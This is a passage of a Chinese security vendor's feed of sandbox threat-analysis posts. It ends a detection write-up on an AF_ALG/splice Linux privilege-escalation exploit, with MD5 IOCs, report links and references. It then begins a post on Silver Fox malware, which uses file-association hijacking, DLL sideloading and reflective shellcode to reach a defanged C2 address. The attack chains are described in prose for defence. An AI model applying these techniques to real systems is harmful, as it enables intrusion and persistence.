sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱 Ubuntu 18.04 x86_64 环境捕获到完整的 AF_ALG + splice 攻击链如图 2 所示。样本首先打开 su 文件获取其文件描述符，随后创建 AF_ALG 套接字并绑定至 aead 加密模式，同时设置加密认证算法为 authencesn(hmac(sha256),cbc(aes))。接着，样本通过 pipe 与 splice 的组合操作，将 su 文件的页缓存传递给 AF_ALG 套接字，并利用 authencesn 模板的逻辑漏洞将控制数据写入页缓存，最终实现本地提权。</span><span leaf=""><br/></span><span leaf="">样本执行过程调用和创建子进程的逻辑关系如图 3 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="Ubuntu18 检测" class="rich_pages wxw-img" data-ratio="0.18611111111111112" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005506" src="https://wechat2rss.xlab.app/img-proxy/?k=a76b177c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdu1cSm8aKt0vXCz8icwcUx4fiatic9hq7IH2KZej4iczWjwbJeCyWEdOUO8I9HOBqalOmNggm9rKBCZHo4XX1VKJH733PzoJ0cZLpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 Ubuntu 18.04 x86_64 漏洞利用检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="Ubuntu18 检测" class="rich_pages wxw-img" data-ratio="0.7817109144542773" data-type="png" data-w="339" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005504" src="https://wechat2rss.xlab.app/img-proxy/?k=0d1b157d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvVtfSCtuC5UmJPP0EBd24jibvksE3MT1XTsaPmniafueUHA7Ub17iaRp9ico1gRHTNELc9X8X2JytdQnRc9gQX3Aiavicbha8pfX6O4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 Ubuntu 18.04 x86_64 漏洞利用进程树</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">UOS 20 x86_64</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 UOS 20 x86_64 环境中，天穹沙箱同样通过多阶段行为关联分析捕获到了 setuid 页缓存篡改尝试，规则命中率 100%。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">投递样本时，系统类型选择</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">信创</span></strong><span leaf="">，分析系统选择 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">UOS 20 Desktop x86-64</span></strong><span leaf="">，如图 4 所示。分析配置支持自定义配置命令行参数，在</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">命令行参数</span></strong><span leaf="">输入框中填写执行参数即可。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="UOS20 检测" class="rich_pages wxw-img" data-ratio="0.6127320954907162" data-type="png" data-w="754" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005507" src="https://wechat2rss.xlab.app/img-proxy/?k=c1bf717f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtl6icsY7uvQR47vSOKPRP8aW1wrYCIBLpgswAU9NqsDbQQkcz0teKwicYsdpYWiaI0oU6g6EryBh0oVA6qyauVIk0A7oJZXTK5sw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 UOS20 环境选择</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="UOS20 检测" class="rich_pages wxw-img" data-ratio="0.1675925925925926" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005505" src="https://wechat2rss.xlab.app/img-proxy/?k=1920e763&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsWCOa3Emy7AteubZlKvfhtt94gTGLNbCc6Nl8T2Nsw2sCqJphbic9grJlnceXRmxXdmawSbmeQg8dbiabg2fibR3Zx5BLqQxXCS0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 UOS 20 x86_64 漏洞利用检测</span></center><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;">5</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""> <span textstyle="" style="font-size: 18px;">IOC</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">de1d2a9e44ba05f083a40a3fa9530411</span></span></code><br/><code><span leaf="">cde0721a815d8d2a8e37e291a972e538</span></code><br/><code><span leaf="">7d5f66c7332a4f929e99380f3f496b5d</span></code><br/></pre></p><p style="text-align: left;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">报告链接</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">报告链接（Ubuntu18）：</span><p><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=8fc905197ef2ced24fbd7eb7304aafef&amp;sk=66904386" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=8fc905197ef2ced24fbd7eb7304aafef&amp;sk=66904386</a></span></p></span></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">报告链接（UOS20）：</span><p><span leaf="" style="background-color:rgb(255, 255, 255);color:rgb(32, 32, 32);font-size:16px;font-family:sans-serif;letter-spacing:normal;font-style:normal;font-weight:300;"><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0825c6fe383cfd823f6d6e9f9503781e&amp;sk=55540319" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0825c6fe383cfd823f6d6e9f9503781e&amp;sk=55540319</a></span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">6</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"> 修复建议</span></span></strong></p></div></div></div></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005508" data-ratio="0.41656210790464243" data-s="300,640" type="block" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=b763da64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtRBJIRexMRXaNciaGAVmW0xh39TnVBYYUZ09zQQRC1fMBD1Xdx6TxtkojJICsia7ogyYTvBNm2TGUJY2BvtMEpEZZj0MVm9Avw4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">7</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"> 参考链接</span></span></strong></p></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf=""><a href="https://xint.io/blog/copy-fail-linux-distributions" target="_blank">https://xint.io/blog/copy-fail-linux-distributions</a></span></p></li><li style="box-sizing: border-box;"><p><span leaf=""><a href="https://copy.fail/" target="_blank">https://copy.fail/</a></span></p></li><li style="box-sizing: border-box;"><p><span leaf=""><a href="https://github.com/theori-io/copy-fail-CVE-2026-31431" target="_blank">https://github.com/theori-io/copy-fail-CVE-2026-31431</a></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">0</span></span></strong><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">8</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"> 技术支持与反馈</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f12b03e0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489157%26idx%3D1%26sn%3D2db22b529494b5c90d8d21347b364bb2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 16:57:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】暗度陈仓：银狐白利用技术升级</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489135&amp;idx=1&amp;sn=9499cd81beaffced0cab3344e191f4c8</link>
      <description>天穹沙箱近期捕获并深度分析了一类具备环境自适应能力的高级恶意样本。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-04-20 17:36</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c35835ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMduRvrkn7VUqpAInLjwYt5lPrg1CocNwfVw8d4n8nVNHaYZ9YtkQakWYetO38A39TVIQ5tqMLTIiaEnXiblf0coxJWODQTf3h8ojo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹沙箱近期捕获并深度分析了一类具备环境自适应能力的高级恶意样本。</p>
  <div data-role="title" data-tools="135编辑器" data-id="170661" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;align-items: center;margin-left: 5px;"><div style="flex-shrink: 0;margin-right: -20px;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><div style="background: linear-gradient(to right,#ffab3d,#ffab3d);"><p style="font-size: 16px;color: #ffffff;width: 38px;height: 38px;display: flex;align-items: center;justify-content: center;box-sizing:border-box;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-o-transform: rotate(45deg);"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">1</span></strong></p></div></div><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #edf2ff;padding: 7px 10px 7px 20px;margin: 0 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #1a3782;text-align: left;padding: 0 10px;z-index: 3;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">概述</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱近期捕获并深度分析了一类具备环境自适应能力的高级恶意样本。这些样本在初始执行阶段会主动探测系统是否安装 360sd.exe 或 ZhuDongFangYu.exe，并根据探测结果动态切换攻击路径：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">策略一（检测到安全软件）</span></strong><span leaf="">：采用 .URL 热键快捷方式 + 文件关联劫持 + 模拟按键触发的组合链，通过终止并重启 explorer.exe 完成隐蔽投递，最终将载荷精准释放至开机启动项。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">策略二（载荷执行与C2通信）</span></strong><span leaf="">：无论通过何种路径投递，最终均会利用“白加黑”技术加载 sgfeedbackhelper.exe 与 HWSignature.dll，在内存中反射执行 Shellcode，并直连 C2 服务器 206.238.180[.]192。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 